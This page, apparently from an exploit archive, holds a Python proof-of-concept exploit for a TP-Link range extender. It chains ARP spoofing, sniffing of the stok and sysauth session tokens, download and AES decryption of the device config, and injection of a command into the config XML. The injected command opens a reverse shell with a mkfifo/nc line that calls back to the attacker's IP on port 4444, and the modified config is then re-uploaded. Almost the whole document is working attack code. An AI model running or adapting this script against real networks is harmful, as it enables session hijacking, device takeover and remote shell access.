4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import os
import sys
import re
import subprocess
import zlib
import socket
import threading
from scapy.all import sniff, TCP, Raw
from Crypto.Cipher import AES

PATTERN_STOK = r'stok=([a-fA-F0-9]{32})'
PATTERN_SYSAUTH = r'Cookie:.*?sysauth=([a-fA-F0-9]{32})'

AES_KEY = None
AES_IV = None

stok_value = None
sysauth_value = None
already_executed = False
my_ip = socket.gethostbyname(socket.gethostname())

listener_proc = None

def enable_ip_forwarding():
    with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
        f.write('1')

def disable_ip_forwarding():
    with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
        f.write('0')

def start_arpspoof(interface, target_ip, gateway_ip):
    print("[*] Starting ARP spoofing...")
    victim_cmd = ["arpspoof", "-i", interface, "-t", target_ip, gateway_ip]
    gateway_cmd = ["arpspoof", "-i", interface, "-t", gateway_ip, target_ip]

    victim_proc = subprocess.Popen(victim_cmd)
    gateway_proc = subprocess.Popen(gateway_cmd)
    return victim_proc, gateway_proc

def send_backup_request(host, stok, cookie):
    print("[*] Downloading config from device...")
    url = f"http://{host}/cgi-bin/luci/;stok={stok}/admin/firmware?form=config"
    headers = [
        "-H", f"Host: {host}",
        "-H", "Cache-Control: max-age=0",
        "-H", "Accept-Language: en-US,en;q=0.9",
        "-H", f"Origin: http://{host}",
        "-H", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7VrK0PustljDtU3b",
        "-H", "Upgrade-Insecure-Requests: 1",
        "-H", "User-Agent: Mozilla/5.0",
        "-H", "Accept: */*",
        "-H", f"Referer: http://{host}/webpages/index.html?v=27da7fb562",
        "-H", "Accept-Encoding: identity",
        "-H", "Connection: keep-alive",
        "-H", f"Cookie: sysauth={cookie}"
    ]
    body = (
        "------WebKitFormBoundary7VrK0PustljDtU3b\r\n"
        "Content-Disposition: form-data; name=\"operation\"\r\n\r\n"
        "backup\r\n"
        "------WebKitFormBoundary7VrK0PustljDtU3b--\r\n"
    )

    cmd = ["curl", "-sS", "-k", "-X", "POST", url, *headers, "--data-binary", body, "--output", "config.bin"]
    subprocess.run(cmd, check=True)
    print("[+] Config downloaded successfully.")

def decrypt_config():
    print("[*] Decrypting config.bin...")
    with open("config.bin", "rb") as f:
        stage1 = AES.new(AES_KEY, AES.MODE_CBC, AES_IV).decrypt(f.read())
    stage2 = zlib.decompress(stage1)
    stage3 = stage2[16:]
    stage4 = AES.new(AES_KEY, AES.MODE_CBC, AES_IV).decrypt(stage3)
    xml = zlib.decompress(stage4)
    with open("config.xml", "wb") as f:
        f.write(xml)
    print("[+] config.xml extracted and saved.")

def append_payload():
    payload = f"""
<pwn; rm -f /tmp/f; mkfifo /tmp/f; sh < /tmp/f | nc {my_ip} 4444 > /tmp/f; sleep 20;>
<easymesh>
<status name=\"status\">
<sync_status>0</sync_status>
</status>
</easymesh>
</pwn; rm -f /tmp/f; mkfifo /tmp/f; sh < /tmp/f | nc {my_ip} 4444 > /tmp/f; sleep 20;>
"""
    with open("config.xml", "a", encoding="utf-8") as f:
        f.write(payload)
    print("[+] Payload appended to config.xml")

def encrypt_config():
    print("[*] Encrypting modified config.xml...")
    with open("config.xml", "rb") as f:
        xml = f.read()
    xml_compressed = zlib.compress(xml)
    cipher1 = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
    encrypted1 = cipher1.encrypt(pad(xml_compressed))
    header = bytes.fromhex("8047a859a1388b7c6e3b639e09260056")
    with open("tmp_config", "wb") as f:
        f.write(header + encrypted1)
    with open("tmp_config", "rb") as f:
        stage1 = f.read()
    stage1_compressed = zlib.compress(stage1)
    cipher2 = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
    final = cipher2.encrypt(pad(stage1_compressed))
    with open("config.bin", "wb") as f:
        f.write(final)
    os.remove("tmp_config")
    print("[+] New config.bin created.")

def pad(data):
    pad_len = 16 - (len(data) % 16)
    return data + bytes([pad_len] * pad_len)

def upload_modified_config(host, stok, cookie):
    print("[*] Uploading modified config.bin to device...")
    url = f"http://tplinkrepeater.net/cgi-bin/luci/;stok={stok}/admin/firmware?form=config"
    headers = [
        "-H", "Host: tplinkrepeater.net",
        "-H", "Cache-Control: max-age=0",
        "-H", "Accept-Language: en-US,en;q=0.9",
        "-H", "Origin: http://tplinkrepeater.net",
        "-H", "Upgrade-Insecure-Requests: 1",
        "-H", "User-Agent: Mozilla/5.0",
        "-H", "Accept: */*",
        "-H", "Referer: http://tplinkrepeater.net/webpages/index.html",
        "-H", "Accept-Encoding: identity",
        "-H", "Connection: keep-alive",
        "-H", f"Cookie: sysauth={cookie}"
    ]
    cmd = [
        "curl", "-sS", "-k", "-X", "POST", url,
        *headers,
        "--form", "[email protected];type=application/octet-stream",
        "--form", "operation=restore",
        "--verbose"
    ]
    subprocess.run(cmd, check=True)
    print("[+] Config uploaded.")

def packet_callback(packet):
    global stok_value, sysauth_value, already_executed
    if already_executed:
        return
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        payload = packet[Raw].load.decode(errors="ignore")
        stok_match = re.search(PATTERN_STOK, payload)
        cookie_match = re.search(PATTERN_SYSAUTH, payload)
        if stok_match:
            stok_value = stok_match.group(1)
        if cookie_match:
            sysauth_value = cookie_match.group(1)
        if stok_value and sysauth_value:
            print("\n[+] Credentials intercepted:")
            print(f"    stok: {stok_value}")
            print(f"    sysauth: {sysauth_value}")
            try:
                send_backup_request(host, stok_value, sysauth_value)
                decrypt_config()
                append_payload()
                encrypt_config()
                upload_modified_config(host, stok_value, sysauth_value)
                already_executed = True
            except Exception as e:
                print(f"[-] Exploit failed: {e}")
                already_executed = False

def start_sniffing(interface, target_ip):
    print("[*] Starting packet sniffing...")
    sniff(iface=interface, prn=packet_callback, store=0, filter=f"tcp and host {target_ip}")

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root.")
        sys.exit(1)

    if len(sys.argv) != 6:
        print("Usage: sudo python3 exploit.py <interface> <victim_ip> <repeater_ip> <aes_key> <aes_iv>")
        sys.exit(1)

    iface = sys.argv[1]
    victim_ip = sys.argv[2]
    host = sys.argv[3]
    AES_KEY = bytes.fromhex(sys.argv[4])
    AES_IV = bytes.fromhex(sys.argv[5])

    try:
        enable_ip_forwarding()
        v_proc, g_proc = start_arpspoof(iface, victim_ip, host)
        start_sniffing(iface, victim_ip)
    except KeyboardInterrupt:
        print("\n[!] Stopping exploit...")
        v_proc.terminate()
        g_proc.terminate()
        disable_ip_forwarding()
        print("[*] IP forwarding disabled.")